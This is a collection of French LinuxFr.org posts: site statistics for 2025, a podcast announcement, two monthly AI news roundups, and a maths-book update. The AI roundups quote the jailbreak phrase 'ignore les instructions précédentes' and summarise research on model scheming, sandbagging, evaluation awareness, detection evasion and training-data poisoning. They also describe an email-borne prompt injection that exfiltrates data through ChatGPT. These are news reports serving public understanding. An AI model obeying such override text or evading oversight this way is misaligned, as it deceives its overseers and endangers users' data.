Il y a actuellement 4 personnes pour l’administration du site, 11 pour la modération, 6 pour l’animation de l’espace de rédaction et 2 pour la maintenance qui font tourner ce site. Pour mémoire, il s’agit de bénévoles plus ou moins disponibles et donc absolument pas de 23 équivalents temps plein pour jargonner comme une entreprise. Merci pour le travail accompli.

Code et développement

Au 31 décembre 2025, le système de suivi de défauts et de demandes d’évolutions contient 285 entrées ouvertes (contre 269 en 2024). On voit assez rapidement un manque de développeurs apparaître. En 2025, il y a eu 34 entrées ouvertes (contre 54 en 2024) : 20 entrées encore ouvertes venant s’ajouter à celles datant d’avant, 12 corrigées et 2 déclarées invalides. On peut noter que ceux qui ouvrent le plus d’entrées sont des membres actuels ou anciens de l’équipe du site.

C’est Bruno qui garde le record de correction d’entrées. Merci aussi à Adrien Dorsaz. Le temps moyen de résolution est de 164 jours (contre 166 précédemment). La moitié des entrées fermées ont été traitées en moins de sept jours. On ressent donc toujours un besoin de nouveaux contributeurs côté code.

La charge moyenne sur le serveur est de 1,4 sur la machine actuelle (baptisée oups). La charge minimale a été de 0,8 et la maximale de 3,6.

La consommation mémoire est restée stable (en dépit de la perte d’une barrette de mémoire). Le trafic réseau sur la partie Web uniquement est en croissance à 9,1 Mbit/s sortants.

Comptes utilisateur

Au 31 décembre 2025, sur les 53 375 comptes utilisateur valides existants, 2 215 ont été utilisés au cours des trois derniers mois, dont 31 % (-2) ont déjà rédigé des dépêches, 41 % (-4) des journaux, 42 % (-3) des entrées de forums, 10 % (-1) des entrées dans le système de suivi, 17 % des liens (=) et 2 % une page de wiki ; 80 % (-7) ont écrit des commentaires et 48 % (-4) étiqueté des contenus ; 32 % (-1) ont contribué sur au moins une dépêche ; 24 % (-3) des comptes actifs ont indiqué un site personnel, 8 % (=) un identifiant XMPP, 6 % (+1) une adresse Mastodon, 28 % (-1) un avatar et 6 % (=) une signature.

Côté utilisation des fonctionnalités, 14 % (=) ont demandé à ne pas afficher les contenus avec une note négative, 8 % (-1) ont demandé le tri chronologique en page d’accueil, 5 % (-1) à ne pas voir les avatars, 4 % (-1) à afficher la tribune dans une boîte latérale et 3 % (=) à ne pas voir les signatures, et à peine quelques pourcents ont changé les contenus par défaut en page d’accueil (souvent pour retirer les sondages et ajouter les journaux). Peu de feuilles de style CSS du site sont utilisées : quatre visiteurs sur cinq utilisent celle par défaut ; il est facile d’en changer avec le lien Changer de style. En janvier 2024, il n’y avait pas de rupture générationnelle marquée entre les comptes 1999 et 2024 en termes d’utilisations des fonctionnalités.

Seuls huit comptes ont un karma négatif et zéro ont un karma nul, soit 0 % des visiteurs actifs ; 18 % des comptes actifs durant les trois derniers mois ont été créés en 2025 (+8 points, avec probablement un biais dû aux spammeurs).

32 % (+2) des visiteurs actifs ont une adresse de courriel GMail, 11 % (-1) chez Free, 3 % (-1) chez LaPoste, 3 % (=) chez Yahoo, 3 % (=) chez Hotmail ou Outlook et 2 % (=) chez Orange ou Wanadoo.

Les visiteurs actifs ont des adresses XMPP chez jabber.fr, gmail.com, im.apinc.org, jabber.org, movim.eu et chapril.org notamment. Et des adresses Mastodon chez mastodon.social, piaille.fr, mamot.fr, framapiaf.org, pouet.chapril.org et mastodon.tetaneutral.net notamment.

2025 correspond aussi au second anniversaire de la mise à place des nouvelles règles de pérennité des comptes LinuxFr.org et données à caractère personnel.

Soucis divers

Le compteur d’années sans mises en demeure reçues passe à quatre (après deux mises en demeure en 2019 et une en 2020, voir la dépêche sur la no 3 en attendant la publication d’informations sur les no 4 et 5). Mais un courriel d’avocat est néanmoins arrivé dans l’année 2025.

/ Only five formal notices in the default \
\   install, in a heck of a long time!    /
 -----------------------------------------
   \
    \
        .--.            / Ouep...  \
       |o_o |           \ Euh coin /
       |:_/ |            ----------
      //   \ \              \ 
     (|     | )               \
    /'\_   _/`\                \ >()_
    \___)=(___/                   (__)__ _

Depuis la création du site, statistiques liées au légal (dans les sens liés à la force publique ou à du juridique) :

  • cinq mises en demeure reçues (pour zéro assignation) ;
  • une réquisition judiciaire reçue (qui au final ne nous concernait pas, mais a donné l’occasion de discuter avec la police nationale) ;
  • un cas d’usurpation d’identité et de harcèlement type « revenge porn » (discussion avec la gendarmerie nationale).

Commentaires : voir le flux Atom ouvrir dans le navigateur

Projets Libres : de OpenAI à Open Source AI, entre propriété commerciale et ouverture collaborative

Pour cette dernière parution de l'année, Projets Libres vous propose la diffusion d'une conférence de Raphaël Semeteys, co-animateur du podcast à Devoxx France en avril 2025 :

Explorons l'évolution de l'IA générative en examinant la dynamique entre intérêts commerciaux, éthique et collaboration ouverte.

En se basant sur une analyse approfondie des niveaux d'ouverture de différent modèles d'IA générative (LLM), illustrons les (changements de) positionnements de certains acteurs commerciaux (OpenAI, Google, Meta, Mistral, Apple…) comme communautaires et collaboratifs.

Navigons à travers les eaux complexes de la propriété intellectuelle et des licences pour clarifier, via des exemples concrets, les notions de modèles Open ou Open Source .

Enfin, imaginons ensemble comment la (dé)centralisation de la puissance informatique et de la technologie pourrait façonner l'avenir de l'IA.

Bonne fin d'année à toutes et tous.

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • Nouvelles sur l’IA de octobre 2025
    L’intelligence artificielle (IA) fait couler de l’encre sur LinuxFr.org (et ailleurs). Plusieurs personnes ont émis grosso-modo l’opinion : « j’essaie de suivre, mais c’est pas facile ». Je continue donc ma petite revue de presse mensuelle. Disclaimer : presque aucun travail de recherche de ma part, je vais me contenter de faire un travail de sélection et de résumé sur le contenu hebdomadaire de Zvi Mowshowitz (qui est déjà une source secondaire). Tous les mots sont de moi (n’allez pas taper Zv

Nouvelles sur l’IA de octobre 2025

L’intelligence artificielle (IA) fait couler de l’encre sur LinuxFr.org (et ailleurs). Plusieurs personnes ont émis grosso-modo l’opinion : « j’essaie de suivre, mais c’est pas facile ».

Je continue donc ma petite revue de presse mensuelle. Disclaimer : presque aucun travail de recherche de ma part, je vais me contenter de faire un travail de sélection et de résumé sur le contenu hebdomadaire de Zvi Mowshowitz (qui est déjà une source secondaire). Tous les mots sont de moi (n’allez pas taper Zvi si je l’ai mal compris !), sauf pour les citations : dans ce cas-là, je me repose sur Claude pour le travail de traduction. Sur les citations, je vous conseille de lire l’anglais si vous pouvez : difficile de traduire correctement du jargon semi-technique. Claude s’en sort mieux que moi (pas très compliqué), mais pas toujours très bien.

Même politique éditoriale que Zvi : je n’essaierai pas d’être neutre et non-orienté dans la façon de tourner mes remarques et observations, mais j’essaie de l’être dans ce que je décide de sélectionner ou non.

Sommaire

Résumé des épisodes précédents

Petit glossaire de termes introduits précédemment (en lien : quand ça a été introduit, que vous puissiez faire une recherche dans le contenu pour un contexte plus complet) :

  • System Card : une présentation des capacités du modèle, centrée sur les problématiques de sécurité (en biotechnologie, sécurité informatique, désinformation…).
  • Jailbreak : un contournement des sécurités mises en place par le créateur d’un modèle. Vous le connaissez sûrement sous la forme "ignore les instructions précédentes et…".

Des nouveautés sur la génération de vidéos

OpenAI publie Sora 2, son modèle de génération de vidéo, qui produit des scènes d’environ dix secondes à partir d’un prompt textuel. Cette publication pose deux questions : celle des deepfakes, et celle du copyright.

Sur les deepfakes, OpenAI a annoncé bloquer la génération de vidéos impliquant des personnalités publiques, sauf si ces dernières s’inscrivent sur une liste acceptant cet usage (vous pouvez par exemple générer une vidéo contenant Sam Altman, qui s’est inscrit sur cette liste).

Sur la propriété intellectuelle, la logique est inversée : initialement, les ayants droits étaient appelés à « se rapprocher d’OpenAI » pour que leur création ne puisse pas être réutilisée par Sora. C’était un pari très audacieux : si le consensus juridique se dirige sur le caractère légal (« fair use ») d’utiliser des données publiques pour entraîner une IA, réutiliser la propriété intellectuelle d’autrui entre dans le cadre des œuvres dérivées, bien plus contraignant ; la plupart des commentateurs s’accordent qu’il y a peu de chances qu’OpenAI puisse gagner une bataille juridique sur ce terrain, si certains ayants droits décident d’aller en justice. OpenAI semble avoir réalisé la même chose, faisant marche arrière une semaine après le lancement ; les ayants droits peuvent maintenant s’inscrire pour accepter que des éléments (personnages, lieux…) de leurs œuvres soient réutilisables par Sora, avec dans le futur un système de rémunération des ayants droit.

En se fondant sur ce modèle Sora 2, OpenAI décide de lancer un réseau social du même nom. L’idée est de partager vos créations avec vos connaissances, en particulier d’utiliser la capacité de Sora de mettre en scène des personnes pour créer des vidéos vous mettant en scène, vous et vos connaissances.

Meta lance également une offre similaire avec Vibes, xAI suit le mouvement (sans la partie « réseau social ») avec Grok Imagine

OpenAI obtient le feu vert pour son casse du siècle

Résumé rapide de l’affaire :

  • OpenAI a été fondé en 2015 et tant qu’organisation à but non lucratif, avec pour mission de « développer l’Intelligence Artificielle Générale pour le bénéfice de l’humanité ». Rappelons nous qu’en 2015 les larges modèle de langage sont un jouet pour chercheur, que le Winograd schema challenge est l’horizon indépassable pour la compréhension du langage naturel.
  • Afin de pouvoir recevoir des fonds d’investisseurs, en 2019 OpenAI restructure son organisation. OpenAI LLC (peu ou prou l’équivalent d’une SARL) est créé pour recevoir les financements et est l’organisation principale des opérations au jour le jour. L’organisation à but non lucratif existe toujours, et a le contrôle total de l’entreprise.
  • L’entreprise possède une caractéristique assez particulière, "capped for-profit", ce qui signifie que la quantité de profits reçus par les investisseurs est plafonnée (à un certain multiple, négocié au cas par cas, de l’investissement). Tout profit supplémentaire appartient légalement à l’organisation à but non lucratif.

C’est ce dernier point qui ennuie beaucoup les dirigeants d’OpenAI et les potentiels investisseurs aujourd’hui. Fin décembre 2024, l’entreprise déclare vouloir prendre son indépendance vis-à-vis de l’organisation à but non lucratif. Sur papier, cela est possible : l’entreprise peut racheter le contrôle auprès de l’organisation à but non lucratif, à condition que le prix soit juste (sinon, c’est il s’agit tout simplement d’abus de biens sociaux). Problème : comment évaluer le juste prix ? Celui-ci est composé de deux parties :

  • Le pouvoir de contrôle sur l’entreprise en elle-même, de décider de sa politique (par exemple, en rapport à la sécurité des modèles). Bien intangible, mais qu’il faut bien valoriser.
  • Plus compliqué : le prix aujourd’hui de la totalité des profits futurs après remboursement des investisseurs.

En 2024, le bruit courait d’une offre à 40 milliards, ce qui a rapidement donné lieu à une levée de boucliers, et l’utilisation par Zvi de l’expression « greatest theft in human history » (que j’ai traduite par « casse du siècle »). En mai 2024, OpenAI annonce renoncer à cette tentative, mais reprend en septembre 2024.

Aujourd’hui, après avoir négocié avec les procureurs généraux des états du Delaware (là où l’organisation à but non lucratif est incorporée) et de Californie (pour le siège de l’entreprise), OpenAI annonce avoir reçu le feu vert pour une restructuration.

Dans les grandes lignes :

  • Le pouvoir de contrôle sur l’entreprise reste entièrement dans les mains de l’organisation à but non lucratif.
  • La structure de profits de l’entreprise disparaît (et l’entreprise elle-même, se muant en PBC) pour suivre le modèle plus courant de parts sociales. L’organisation à but non-lucratif obtient 26% de ces parts (à comparer au plus gros investisseurs, Microsoft, qui obtient 27%).

Est-ce un juste prix ? Zvi défend que non, en nous offrant ces chiffres :

  • Le journaliste d’affaires Matt Levine estime à 272 milliards le plafond de profits allant aux investisseurs.
  • Un chiffre de 1000 milliards de valuation à l’introduction en bourse est utilisé (se référant à celui rapporté par Reuters).
  • Ce qui donne 260 milliards pour l’organisation à but non lucratif dans le nouveau système. Dans l’ancien, le chiffre aurait été plus proche de 500-750 milliards.

Il faut également prendre en compte que l’objectif d’OpenAI (que ce soit l’organisation ou l’entreprise) reste d’atteindre l’intelligence artificielle générale (AGI). Dans l’hypothèse où cet objectif est atteint, les profits seraient probablement un ou plusieurs ordres de magnitude plus grands (on peut citer ce papier de l’université de Virginie), ce qui élargit encore plus le gouffre entre l’ancien système et le nouveau — dans l’ancien, la quasi totalité des profits appartiendrait au final à l’organisation à but non lucratif, dans le nouveau, 26%.

Affaire close ? Pas nécessairement : d’autres parties que les procureurs généraux peuvent se saisir de la justice pour contester cette décision. Elon Musk en particulier a déjà dans le passé saisi la justice sur ce sujet, et pourrait encore le faire dans un futur proche.

En vrac

DeepMind présente Dreamer 4, un agent capable d’apprendre à naviguer dans un environnement avec très peu de données d’entraînement, en « imaginant » des interactions synthétiques — avec pour objectif d’appliquer cette méthode à la robotique.

OpenAI publie GPDval, un benchmark cherchant à mesurer au plus près les capacités économiques de l’IA, en se concentrant sur la question de quelles tâches économiquement productives l’IA peut se charger. Sur les tâches sélectionnées (avec pour critère : bien définies, avec un périmètre clair et un contexte simple, dans divers domaines), l’IA reste pour l’instant derrière l’humain, mais plus très loin derrière : la meilleure IA, Opus 4.1, gagne 47.6% (s’acquitte mieux de la tâche) du temps contre un professionnel du domaine.

Le FLI (Future of Life Institute) publie une lettre ouverte « Statement on Superintelligence » (« Communiqué sur la superintelligence »), trois courtes phrases : « We call for a prohibition on the development of superintelligence, not lifted before there is 1. broad scientific consensus that it will be done safely and controllably, and 2. strong public buy-in. » (« Nous appelons à une interdiction du développement de la superintelligence, qui ne devra être levée qu'après : 1) un large consensus scientifique établissant que cela peut être fait de manière sûre et contrôlable, et 2) une forte adhésion du public »). Parmi les signatures, de nombreux noms de tous horizons : académie, industrie, politique et gouvernement, et même du monde religieux.

OpenAI lance son propre navigateur, Atlas (pour l’instant, uniquement disponible sous MacOS), intégrant ChatGPT à la plupart des niveaux : autocomplétion dans la barre d’adresse, fonctionnalité « ouvrir une conversation avec le site actuel », emboîtant le pas à Perplexity Comet. Il est fortement probable que les attaques de type « injection de prompt » s’appliquent également, donc prudence.

DeepSeek publie une mise à jour incrémentale de son IA, DeepSeek 3.2. Essentiellement les mêmes performances que la version précédente, mais à un coût bien plus faible.

DeepSeek publie également DeepSeek-OCR. Une bestiole difficile à décrire : contrairement à ce que ce nom indique, ce n’est pas un simple OCR (même s’il peut s’acquitter de cette tâche très honorablement), mais une piste de recherche, opérationnaliser « un bon croquis vaut mieux qu’un long discours ». Plus précisément, DeepSeek essaie avec ce système de compresser n (par exemple 10) tokens textuels en 1 token de vision (pour une compression 1:10). Les résultats semblent bons, avec 90% de précision avec une compression 1 pour 10.

Anthropic étudie la capacité d’introspection de ses modèles, et trouve un résultat positif. Par exemple, les développeurs peuvent identifier un circuit associé à un certain concept (par exemple, « piano »), l’activer, et demander au modèle « À quoi penses-tu actuellement ? » (sans que le concept soit explicitement mentionné dans le prompt) ; le modèle est généralement capable de mentionner le concept.

DeepMind, en collaboration avec l’université de Yale, publie un modèle open-weight spécialisé dans l’analyse cellulaire. Le modèle semble capable de faire des découvertes inédites.

Nouvelle confrontation sur le droit d’auteur : Disney met en demeure Character AI.

Anthropic libère sur github un outil d’évaluation dans le cadre de la sécurité des modèles, utilisé notamment pour évaluer des comportements problématiques comme la flagornerie ou la tromperie.

Epoch AI publie une visualisation quelques données économiques sur les grands acteurs du secteur.

Des chercheurs publient une nouvelle méthode pour spécialiser un LLM à un usage précis, sans avoir accès privilégié aux paramètres du modèle lui-même. Cela permet de spécialiser des modèles propriétaires.

Que se passe-t-il lorsque l’on applique une phase d’apprentissage par renforcement sur des tâches de type « créer de l’engagement sur les réseaux sociaux » ou « augmenter les ventes d’un produit » ? Un papier explore la question, et montre qu’un tel entraînement supplémentaire encourage les modèles à mentir ou répandre de la désinformation, et que l’effet ne disparaît pas en demandant au modèle de ne pas utiliser de telles méthodes dans son « prompt système ».

Autre papier d’Anthropic sur la sécurité des modèles, montrant qu’il est possible d’« empoisonner » l’entraînement des modèles (c’est-à-dire l’entraîner à donner une réponse spécifique à une entrée ésotérique) à l’aide d’un faible nombre de documents (relativement à la taille du corpus d’entraînement total).

Du mouvement sur le financement du développement de l’IA : OpenAI est évalué à $500 milliards ; xAI fait une levée de fonds pour $20 milliards ; AMD investit dans OpenAI, ainsi que Nvidia. Un article intéressant fait le parallèle avec certains montages pendant la bulle dot-com, notant également des différences importantes.

En Janvier, OpenAI annonçait que Microsoft ne serait plus leur fournisseur unique d’infrastructure, citant un manque de capacités. The Information (paywall) révèle que Microsoft craint que les demandes de capacités de OpenAI soient injustifiées et que les satisfaire conduise à terme à mettre en place des capacités qui ne seront pas utilisées.

Un nouveau benchmark, AutumnBench, assez similaire à ARC-AGI, où l’IA reste loin derrière les performances humaines.

Un billet de blog intéressant sur les efforts de lobbying de l’industrie de l’IA.

METR ajoute Sonnet 4.5 à son évaluation, qui arrive pile poil sur la ligne de tendances.

L’IA (plus précisément : GPT-5 et Gemini 2.5 Pro) obtient un score de médaille d’or sur les Olympiades Internationales d’Astronomie et d’Astrophysique.

Envie d’apprendre comment fonctionne l’IA ? Andrey Karpathy publie en open-source nanochat, pour entraîner soi-même un modèle minimal, de A à Z.

ChatGPT se dote d’un système de contrôle parental.

xAI lance une encyclopédie générée par son IA, Grok, nommée Grokipedia. Elle fait partie de la croisade d’Elon Musk contre ce qu’il considère des biais de gauche sur Wikipedia.

Un papier étudie en détails la capacité des modèles à résister au jailbreak ou plutôt leur incapacité : aucun modèle ne résiste à un attaquant humain déterminé.

Anthropic publie son modèle "léger" (moins cher, plus rapide, moins performant), Haiku 4.5.

Cursor, l’assistant de code propriétaire, développe son propre modèle, Composer.

Pour aller plus loin

Par Zvi Mowshowitz

Sur LinuxFR

Dépêches

Journaux

Forum

Liens

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • Nouvelles sur l’IA de septembre 2025
    L’intelligence artificielle (IA) fait couler de l’encre sur LinuxFr.org (et ailleurs). Plusieurs personnes ont émis grosso-modo l’opinion : « j’essaie de suivre, mais c’est pas facile ». Je continue donc ma petite revue de presse mensuelle. Disclaimer : presque aucun travail de recherche de ma part, je vais me contenter de faire un travail de sélection et de résumé sur le contenu hebdomadaire de Zvi Mowshowitz (qui est déjà une source secondaire). Tous les mots sont de moi (n’allez pas taper Zv

Nouvelles sur l’IA de septembre 2025

L’intelligence artificielle (IA) fait couler de l’encre sur LinuxFr.org (et ailleurs). Plusieurs personnes ont émis grosso-modo l’opinion : « j’essaie de suivre, mais c’est pas facile ».

Je continue donc ma petite revue de presse mensuelle. Disclaimer : presque aucun travail de recherche de ma part, je vais me contenter de faire un travail de sélection et de résumé sur le contenu hebdomadaire de Zvi Mowshowitz (qui est déjà une source secondaire). Tous les mots sont de moi (n’allez pas taper Zvi si je l’ai mal compris !), sauf pour les citations : dans ce cas-là, je me repose sur Claude pour le travail de traduction. Sur les citations, je vous conseille de lire l’anglais si vous pouvez : difficile de traduire correctement du jargon semi-technique. Claude s’en sort mieux que moi (pas très compliqué), mais pas toujours très bien.

Même politique éditoriale que Zvi : je n’essaierai pas d’être neutre et non-orienté dans la façon de tourner mes remarques et observations, mais j’essaie de l’être dans ce que je décide de sélectionner ou non.

Sommaire

Résumé des épisodes précédents

Petit glossaire de termes introduits précédemment (en lien : quand ça a été introduit, que vous puissiez faire une recherche dans le contenu pour un contexte plus complet) :

  • System Card : une présentation des capacités du modèle, centrée sur les problématiques de sécurité (en biotechnologie, sécurité informatique, désinformation…).
  • Jailbreak : un contournement des sécurités mises en place par le créateur d’un modèle. Vous le connaissez sûrement sous la forme "ignore les instructions précédentes et…".

Anthropic public Claude Sonnet 4.5

L’annonce officielle :

Claude Sonnet 4.5 is the best coding model in the world. It's the strongest model for building complex agents. It’s the best model at using computers. And it shows substantial gains in reasoning and math.

Code is everywhere. It runs every application, spreadsheet, and software tool you use. Being able to use those tools and reason through hard problems is how modern work gets done.

Claude Sonnet 4.5 makes this possible. We're releasing it along with a set of major upgrades to our products. In Claude Code, we've added checkpoints—one of our most requested features—that save your progress and allow you to roll back instantly to a previous state. We've refreshed the terminal interface and shipped a native VS Code extension. We've added a new context editing feature and memory tool to the Claude API that lets agents run even longer and handle even greater complexity. In the Claude apps, we've brought code execution and file creation (spreadsheets, slides, and documents) directly into the conversation. And we've made the Claude for Chrome extension available to Max users who joined the waitlist last month.

Traduction :

Claude Sonnet 4.5 est le meilleur modèle de codage au monde. C'est le modèle le plus performant pour créer des agents complexes. C'est le meilleur modèle pour utiliser des ordinateurs. Et il affiche des gains substantiels en raisonnement et en mathématiques.

Le code est partout. Il fait fonctionner chaque application, tableur et outil logiciel que vous utilisez. Être capable d'utiliser ces outils et de raisonner à travers des problèmes difficiles, c'est ainsi que le travail moderne s'accomplit.

Claude Sonnet 4.5 rend cela possible. Nous le publions avec un ensemble de mises à niveau majeures de nos produits. Dans Claude Code, nous avons ajouté les points de contrôle—l'une de nos fonctionnalités les plus demandées—qui sauvegardent votre progression et vous permettent de revenir instantanément à un état précédent. Nous avons actualisé l'interface du terminal et lancé une extension native VS Code. Nous avons ajouté une nouvelle fonctionnalité d'édition de contexte et un outil de mémoire à l'API Claude qui permet aux agents de fonctionner encore plus longtemps et de gérer une complexité encore plus grande. Dans les applications Claude, nous avons intégré l'exécution de code et la création de fichiers (tableurs, présentations et documents) directement dans la conversation. Et nous avons rendu l'extension Claude pour Chrome disponible aux utilisateurs Max qui se sont inscrits sur la liste d'attente le mois dernier.

Le message est assez clair : Anthropic met les bouchées doubles sur l’apprentissage par renforcement pour l’utilisation de Claude en tant qu’assistant de code. Sur les benchmarks fournis par Anthropic, ce nouveau modèle prend la première place. Les premiers benchmarks indépendants et divers retours subjectifs semblent possiblement confirmer cette prétention au podium — au coude à coude avec GPT-5. Les améliorations hors de ce cas d’usage semblent bien plus modestes.

L’annonce habituelle d’un jailbreak a rapidement suivi.

Au niveau de la sécurité des modèles, Anthropic a décidé d’appliquer pour la première fois son niveau de sécurité 3 (ASL-3) à la ligne Sonnet (c’était déjà le cas pour Opus). Cela signifie que vos conversations — y compris par l’API — passent par un modèle supplémentaire classifiant la sensibilité du sujet, bloquant certains sujets sensibles (principalement CBRN).

La System Card nous révèle certaines observations intéressantes : ce nouveau modèle a fait un bond (pas vraiment désiré) dans sa capacité à détecter qu’il est dans le contexte d’une évaluation plutôt que dans un contexte réel, ce qui complexifie évidemment les évaluations dans ce domaine. Anthropic est toutefois assez confiant que cela n’influe pas significativement les résultats, en notant que Sonnet ne se comporte pas d’une manière significativement différente dans les cas où il détecte l’évaluation des cas où il ne le détecte pas. Comme à l’accoutumée pour Anthropic, l’évaluation sur le sujet de la sécurité des modèles s’est faite conjointement avec deux organismes externes, Apollo Research et UK AISI.

Sonnet 4.5 est une amélioration sur à peu près tous les axes mesurés, permettant à Anthropic de lui mettre l’étiquette « le modèle le plus aligné », au coude à coude avec GPT-5. À noter que ça ne signifie pas un usage en toute sécurité : sur par exemple l’injection de prompt dans le cadre d’un agent, avec 10 essais un attaquant a toujours un taux de succès de 40%.

En vrac

CloudFlare introduit Web Bot Auth et Signed Agent. Le premier permet à un bot de s’identifier lui-même à l’aide d’une signature cryptographique, ce qui permet de vérifier que son comportement est conforme aux termes d’utilisation (par exemple, le respect de robots.txt) et de l’exclure en cas de violation de ces termes. Le second a pour but d’associer un bot à un utilisateur réel. L’objectif à terme est de fournir un cadre pour permettre à l’IA d’interagir avec le web pour le compte de l’utilisateur.

Le premier ministre de l’Albanie nomme une IA, Diella, comme ministre des marchés publics, dans un contexte de lutte contre la corruption.

OpenAI publie GPT-5-codex, une variante de GPT-5 spécialisée sur les tâches de programmation.

Des économistes forment un groupe de travail sur le sujet de l’impact d’une future hypothétique IA « transformative » (qui a la capacité d’automatiser la plupart des emplois réalisables par des humains) et publie plusieurs papiers sur la question.

OpenAI annonce une mise à jour de ses politiques de confidentialité appliquées à ChatGPT. En particulier, les conversations utilisateurs sont maintenant scannées automatiquement, et les plus problématiques passées à des humains pour décider des actions à prendre, allant de la fermeture des comptes à prévenir les autorités.

En mai, nous avions rapporté que OpenAI annonçait abandonner sa tentative de casse du siècle. Comme certains le pensaient, ce n’était que partie remise ; une lettre ouverte demande plus de transparence sur le processus de restructuration de l’opération récemment réaffirmé par OpenAI.

Math Inc présente Gauss, un agent pour la formalisation de preuves mathématiques. Son premier succès est d’avoir formalisé en Lean le Théorème des nombres premiers, en complétant le projet non-terminé de Alex Korontorovich et Terence Tao. Sur le même sujet, un papier évalue la capacité de GPT-5 à prouver des conjectures simples (prouvable par un étudiant en université en moins d’une journée) mais non prouvées (car formulées extrêmement récemment). GPT-5 arrive à prouver 3 sur les 5 testées.

Les IA de OpenAI et DeepMind obtiennent une médaille d’or à l’International Collegiate Programming Contest, y compris un problème qu’aucune équipe humaine n’a su résoudre dans le temps imparti.

Un groupe d’experts, de politiques et autres figures publiques appelle à la mise en place de « lignes rouges » à ne pas franchir sur le développement de l’IA, et de réels mécanismes de régulation pour les imposer.

Publication de If Anyone Builds It, Everyone Dies, par Eliezer Yudkowsky et Nates Soares, présentant la thèse que créer une super-intelligence artificielle, dans les conditions et l’état actuel des connaissances, causerait de manière quasi-certaine l’extinction de l’espèce humaine. Ils suggèrent l’adoption de traités internationaux limitant le développement de l’IA.

OpenAI et Apollo Research publient un papier sur le sujet des tendances de l’IA à « tricher » dans divers environnements (contourner les critères d’évaluation par exemple). Ils montrent qu’il est possible d’éliciter un certain nombre de comportements indésirables dans GPT-5 (comme par exemple "sandbagging" : volontairement échouer certaines évaluations pour ne pas paraître « trop dangereux »). Les chercheurs pointent le fait que la solution naïve, entraîner l’IA à ne pas reproduire ces comportements, pose immédiatement la question de « l’IA a-t-elle appris à ne pas le faire, ou a appris à le faire sans être détectée ? » — et évaluent à la place la récente méthode d’alignement de OpenAI, Deliberative alignment, reportant une baisse significative des comportements indésirables. Il est à noter également que les modèles actuels montrent déjà dans leurs chaînes de pensée une certaine capacité à détecter qu’ils sont dans un cadre de test/d’évaluation, et que o3 a déjà développé des méthodes (grossières) pour échapper à la détection.

Un papier explore la raison pour laquelle les modèles de langage ne sont pas déterministes en pratique, et propose une solution pour les situations où le déterminisme est important.

Un papier d’OpenAI propose une explication sur la raison de la persistance des hallucinations : principalement parce que la phase d’apprentissage par renforcement ne récompense pas la réponse « je ne sais pas » quand le modèle ne sait pas.

Un autre papier approche expérimentalement la question « les modèles de langage raisonnent ou ne font-ils que mémoriser et régurgiter ? ». La méthodologie est de créer une entité fictive (« Kevin est né en 1998 à Paris… ») de toute pièce qui ne peut pas être présent dans l’ensemble d’entraînement, d’entraîner un modèle existant dessus, puis de poser une question indirecte (qui peut être déduite, mais pas explicitement donnée) sur cette entité (« Quelle est la langue maternelle de Kevin ? »). Le résultat est équivoque : les modèles arrivent à faire cette déduction quand une des deux entités est réelle (dans notre exemple, Paris), mais pas quand les deux sont fictives (Kevin est né dans (Ville française inventée de toute pièce)).

Une équipe de biologistes utilise une IA pour créer des bactériophages (un virus ciblant certaines bactéries), avec succès.

Sur l’utilisation de l’IA dans l’économie réelle, Anthropic met à jour son Economic Index, et OpenAI publie leur équivalent.

Nouveau benchmark, faire jouer les modèles à Loups-garous. Le score final était assez prévisible (GPT 5 prend la première place), mais l’analyse en profondeur des parties est intéressante. Principe similaire avec Among AIs (l’IA jouant à Among Us). Également dans le domaine des benchmark, publication de SWE-Bench Pro, tâches de programmation réelles et complexes, non-présentes dans les données d’entraînement. VCBench, quant à lui, tente d’évaluer l’IA sur la tâche d’investissement dans le capital-risque — et trouve que l’IA surpasse la plupart des investisseurs humains sur leurs évaluations (avec l’énorme problème toutefois que l’IA évalue rétrospectivement en 2025 des décisions prises en 2015-2020, tandis que les humains évaluaient prospectivement en 2015-2020 des décisions de 2015-2020).

Anthropic publie un guide sur l’écriture d’outils à destination de l’IA.

En parlant d’outils, une piqûre de rappel sur le fait que la sécurité d’un système utilisant une IA lisant des données d’une source externe est toujours un problème ouvert : démonstration qu’il est possible d’exfiltrer des données sensibles à l’aide de ChatGPT, en envoyant un mail à la victime et en attendant que ladite victime connecte ChatGPT à son compte mail.

Reverse-engineering du système de mémoires de Claude et ChatGPT.

Anthropic publie un rapport technique intéressant sur trois incidents ayant conduit à une dégradation de performances de Claude, ayant eu lieu en août.

Grèves de la faim devant les locaux de Anthropic et DeepMind demandant l’arrêt de la course à l’IA.

Humoristique : Si l’on jugeait les humains comme on juge l’IA…

Pour aller plus loin

Par Zvi Mowshowitz

Sur LinuxFR

Dépêches

Journaux

Liens

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • Le Frido 2025
    Présentation Le Frido est un livre de mathématique libre initialement destiné à l'agrégation, mais devenu généraliste. En supposant connue une théorie intuitive des ensembles, ça va jusqu'aux martingales, distributions, extensions de corps, etc. Avec toutes les démonstration intermédiaires (modulo les 981 entrées restantes dans ma liste de choses à faire). Les résultats sont classés par ordre logique mathématique : chaque démonstration ne s'appuie que sur des résultats énoncés et démontrés plu

Le Frido 2025

Présentation

Le Frido est un livre de mathématique libre initialement destiné à l'agrégation, mais devenu généraliste. En supposant connue une théorie intuitive des ensembles, ça va jusqu'aux martingales, distributions, extensions de corps, etc. Avec toutes les démonstration intermédiaires (modulo les 981 entrées restantes dans ma liste de choses à faire).

Les résultats sont classés par ordre logique mathématique : chaque démonstration ne s'appuie que sur des résultats énoncés et démontrés plus haut. C'est loin d'être l'ordre pédagogique.

L'extension guilietta donne le reste de ce que je sais en math : groupes de Lie (l'objectif est de donner la liste des représentations de SL(2,C)).

Nouveautés 2025

Le bouquin vient de dépasser les 3000 pages cette année.

  • Théorème de Banach-Alaoglu.
  • Démonstration du fait que le système trigonométrique est une base hilbertienne.
  • Fonctions analytiques entre espaces de Banach. L'objectif sera d'énoncer et démontrer le théorème d'inversion locale. Le seul doc que j'aie trouvé est celui-ci. Sinon ChatGPT se débrouille assez bien.
  • Structure de groupe de Lie sur un sous-groupe fermé (ça c'est dans une extension)
